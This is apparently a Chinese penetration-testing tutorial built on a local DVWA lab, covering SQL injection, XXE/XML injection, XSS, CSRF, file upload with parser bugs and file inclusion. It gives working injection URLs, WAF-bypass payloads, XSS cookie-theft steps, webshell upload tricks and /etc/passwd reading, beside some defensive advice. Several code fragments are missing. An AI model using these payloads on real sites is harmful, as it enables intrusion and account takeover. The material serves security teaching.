注(以下环境皆是自己在本机搭建,请勿在公网真实操作)
1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
手工注入:联合注入、盲注、延时注入等等
工具注入:sqlmap、啊D 等等
利用方法及其渗透思路,在前面的文章已经介绍过了:
https://blog.csdn.net/weixin_41516710/article/details/90740752
1.2 XML注入(XXE注入):
XML是The Extensible Markup Language(可扩展标识语言)的简写。XML最初设计的目的是弥补HTML的不足,后来逐渐用于网络数据的转换和描述。XML的设计宗旨是传输数据,而非显示数据。XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字
目前,XML在WEB中的应用已经非常广泛。下面举一个简单的XML实例:
admin
admin
root
root
XML注入
XML与HTML一样,也存在注入攻击,甚至在注入的方法上也非常相似。
漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入,如攻击者输入:
admin hackhacker
最终的修改后的XML为:
admin
admin
hack
hacker
以上的代码相当于添加了一个名为hack、密码为:hacker的新的用户到管理员组内!
XML注入时的两大注意点:
(1)标签闭合(关键所在)
(2)获取XML的表结构
XML注入防御
(1)对用户的输入进行过滤
(2)对用户的输入进行转义
1.3 宽字节注入
当我们注入是使用的单引号、双引号等这些字符被转义时,这时我们可以用到宽字节注入。其原理很简单,代码对单引号、双引号等这些字符转义是使用“\”来转义,那么我们就让“\”失去原来的意思,我们只需在前面加个”%df”。因为ASCII码占用一个字节,GBK占用两个字节。在前端通常为一个字节的编码,服务器端为两字节的编码。“\”url编码为%5c,在前面加个%df,在后面加个引号,即 %5c\’ 会变成 %df%5c%27 。如果程序默认字符集是GBK这些两字节字符集的话,它会认为 %df%5c%27 是个宽字节,就解析成了 縗’ 。这是我们的单引号就绕过转义了。
POC:
http://127.0.0.1/index.php?id=1%df’ order by 2%23
在前面加个%df绕过转义,%23是注释符,也可以多加几个%df做引号闭合,看你怎么用了。
http://127.0.0.1/index.php?id=1%df’ union select 1,2,3%23
后面就和前面文章sql注入一样了。
1.4 Access数据库偏移注入
在注入时最烦的就是access数据库了,因为web权限低,没有对表的访问权限。在前面文章有access数据库的渗透具体过程。https://blog.csdn.net/weixin_41516710/article/details/90741228
那么access偏移注入是做什么用的呢?
它是在你知道数据库表名,但不知道列名时所用的。它可以直接爆破内容。
表名:admin
列数26:(order by 26 返回正确,order by 27 返回错误)
知道这些前提后,但在列名特别难爆破时,我们开始偏移注入。
先查看一下回显:(为2,3,7,9,15)
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
我们开始爆admin中的字段,用来代替其中的字段:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, from admin
它会显示错误,我们不到减小数值,直到返回正确:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,* from admin
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
一直到23返回正确了,那么admin表中的字段就是3 因为26-23=3,其中就代表admin中的字段。
接下来利用内敛注入:
语句如下;
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, from (admin as a inner join admin as b on a.id=b.id)
没有报错,说明语法是正确的。那么会问为什么这里到20,而不是到23呢?因为使用了内敛注入,通过表的自连接,这里就有了两个表的字段,就是两个admin表的字段,每个是3,那么26-3-3=20 。通常id是表中常有的字段,所以我们用id来自连接,加入你知道其中表的一些其它字段也可以用。
那么现在还没爆出里面的内容,因为这里的回显最高是15,我们还要再加几层自连接。
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,* from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)
根据计算,我们在前面加一点东西,打乱它的重组:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,a.id,b.id, from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,a.id,b.id,c.id,* from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)
账号和密码就出来了,加这几个a.id,b.id,c.id是为了打乱它的重组,让这些id先显示,因为它是admin中的字段,回显15就会显示其它字段。
看看数据库,的确和我们爆破的一样:
注入防御:
过滤,黑白名单
使用安全框架。使用安全函数
对数据库名,表名,列名 进行复杂化。是攻击者难以猜到。
最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入
预处理
1、先看预处理的语法
$pdo->prepare(‘select * from biao1 where id=:id’);
$pdo->execute([’:id’=>4]);
2、语句一,服务器发送一条sql给mysql服务器,mysql服务器会解析这条sql。
语句二,服务器发送一条sql给mysql服务器,mysql服务器不会解析这条sql,只会把execute的参数当做纯参数赋值给语句一。哪怕参数中有sql命令也不会被执行,从而实现防治sql注入。
绕过防注入继续注入
大小写绕过:UniON SelEct username,fRoM admin
双写关键字:UnUnIoniON SeSELectlEct username,fRoM admin
双字节绕过:上面讲了
注释语句绕过(最常用)
用//代替空格,如:UNION // Select //username,from admin
用//分割敏感词,如:U// NION // SE// LECT //username from admin
内敛注释:/!And/ 1=1
多层内敛注释:/!/AnD//abd//ff// 1=1
%0a(回车)绕过:select%0a*%0afrom%0admin;
编码绕过:url编码,十六进制编码等等
Xss简单理解就是输入输出问题导致脚本语言的执行。
Xss分为3类:
非持久性:非持久性 XSS 也被称为反射性 XSS,是目前最普遍的类型,当攻击者提供了一些代码的时候, 服务器端马上就会返回页面的执行结果。比如输入一个url,服务器会解析这个url,并将解析结果返回给客户端。如果任何搜索的字符串都没有被 html 编码,假如在url后面加入恶意的js代码,服务器会执行这段代码,那么xss漏洞就产生了。
持久性 XSS:也叫做存储型 XSS。当攻击者提交到 web 应用 程序里的数据会永久性的存储到服务器的时候会产生这类漏洞,(比如数据库,文件系统,其他位置),之 后,如果没有经过 HTML 编码,当别人访问这个网页就会执行这段恶意代码。它的危害是很大的,因为它永久存储在服务器端。
基于 DOM 的 XSS:也叫做本地跨站,基于 html/xml 上叫做文档对象模型(DOM)的标准对象模型,这类 漏洞,问题出现在页面的客户端脚本上,比如,如果一个 javascript 脚本处理 url 请求参数,然后使用这 个参数值来显示给用户页面,没有经过任何编码,就会执行恶意代码。它与前面的不同的是,它不会经过服务器。
漏洞利用:
试探是否存在xss:
登录到一个xss在线站点,比如:http://webxss.top/
注册登录创建一个项目
管理员登录进去,查看留言
我们就得到了管理员的cookie
啊D注入工具:利用cookie登录进去
Waf绕过:
大小写,双写关键字,字符拼接,编码,使用其他标签等等。这里不多说了,根据具体的防御,利用对应的绕过方式,这里写几个payload:
ript>alert(/xss/)
Unicode编码绕过
url编码绕过
Ascii码绕过
hex绕过
八进制
base64绕过
DVWA靶机实验:
等级:low 直接输入
等级:medium 直接输入没用
服务器端核心代码
', '', $_GET[ 'name' ] );
echo "Hello ${name}
";
}
?>
他把给过滤了,双写script就可以了:
等级:hight 直接输入没用
服务器端核心代码
Hello ${name}
";
}
?>
它利用正则表达式script进行了过滤,我们采用其他标签:
等级:Impossible
Hello ${name}
";
}
generateSessionToken();
?>
它利用htmlspecialchars对输入进行实例化。大部分的xss姿势都防御了。
当你访问网页,这个网页存在csrf漏洞的话,服务器会给你发送cookie。黑客诱导你访问其它恶意或者黑客的服务器,他会下发恶意指令,当你返回正常服务器,你已经携带了恶意代码,在你不知情的情况下执行危险行为,比如发送不良信息,转账等等。
DVWA实验:
级别:low
正常输入123456
密码被修改,看一下源码:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
echo "Password Changed."; } else { echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
只做了简单比较pass_new=pass_conf输入新密码相同即可修改,没有做任何限制。
构造url:
http://192.168.109.136/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
只有用户点击了这个url就会把密码改成123456
直接修改,没有输入。但这url一眼就可以看出是恶意的,这是你可以搭一个服务器,把这代码放到服务器里或者图片里,让别人来访问你的服务器,执行这个payload。
比如在本地做一个1.html:
404
文件找不到
当点击时,就触发了:
级别:Medium
在代码中加了referer字段,检查是否同源。我们将1.html改成192.168.109.136.html就可以绕过了。
文件上传的时候并没有对格式做验证,导致用户可以上传任意文件和可执行脚本文件,那么这就是一个上传漏洞
流程
探测:
1.能否直接上传可执行文件
2.探测是否为本地上传限制:利用burpsuite进行报文拦截,上传可执行文件,查看是否有http请求携带上传的文件发给服务器
3.判断服务器是白名单验证还是黑名单验证
在图片上传处上传一个txt文件
如果黑名单
尝试将后缀名改成大小写
尝试找出被遗漏的黑名单
尝试使用最新出现后缀名
4.如果白名单
先收集目标的中间件信息,再推测可能存在对应的文件解析漏洞
一般在HTTP应答报文(server)中可能会携带服务器使用的中间件的信息
通常配合解析漏洞来上传,不同的中间件都有对应的解析漏洞:
IIS
IIS解析漏洞
IIS6.0解析利用方法有两种:
1:
在IIS6.0下,分号,冒号后面的不被解析,也就是说
wooyun.asp;123.jpg会被服务器看成是wooyun.asp
2:
当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。
3.默认解析:
在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为
');?>的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马shell.php
IIS7.5 文件解析漏洞
test.jpg/.php
URL 中文件后缀是 .php ,便无论该文件是否存在,都直接交给 php 处理,而 php 又默认开启 “cgi.fix_pathinfo”, 会对文件进行 “ 修理 ” ,可谓 “ 修理 ” ?举个例子,当 php 遇到路径 “/aaa.xxx/bbb.yyy” 时,若 “/aaa.xxx/bbb.yyy” 不存在,则会去掉最后的 “bbb.yyy” ,然后判断 “/aaa.xxx” 是否存在,若存在,则把 “/aaa.xxx” 当作文件。
若有文件 test.jpg ,访问时在其后加 /.php ,便可以把 “test.jpg/.php” 交给 php , php 修理文件路径 “test.jpg/.php” 得到 ”test.jpg” ,该文件存在,便把该文件作为 php 程序执行了。
Apache
解析漏洞
后缀解析:test.php.x1.x2.x3
构造服务器端虚假扩展名检测上传
将一句话木马的文件名lubr.php改成lubr.php.abc。首先,服务器验证文件扩展名的时候,验证的是.abc,只要改扩展名不符合服务器端黑名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即”.php”。一句话木马可以被解析,即可通过中国菜刀连接。
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
经验之谈:php|php3|phtml|php4|php5多可被Apache解析
Nginx
Nginx<=0.8.37
在Fast-CGI关闭的情况下,Nginx<=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将/xx.jpg%00.php 解析为 php 文件。
这是从/test.jpg/x.php 演变过来的,具体可以参考:Ngnix空字节可远程执行代码漏洞
DVWA实验:
级别:low
没有做任何过滤,直接上传脚本文件,命名1.php。
用菜单连接,就可以控制服务器。
级别:midium
主要代码:
Your image was not uploaded.
';
}
else {
echo "{$target_path} succesfully uploaded!"; } } else { echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
限定了格式为image/jpeg或是png 大小小于100000字节的文件才能上传。
文件包含
分类:
1.本地文件包含
目的
获取目标网站的信息
利用本地文件包含去执行已经成功上传的木马、病毒等可执行文件
流程
探测
在文件包含url处,随意修改被包含的文件的目录;如果提示路径不存在等类似信息,存在文件包含漏洞;如果提示错误等信息
将被包含文件路径修改成自己想看的文件路径(/etc/passwd)
2.远程文件包含
目的
来包含其他服务器的文件,
上传a.jpg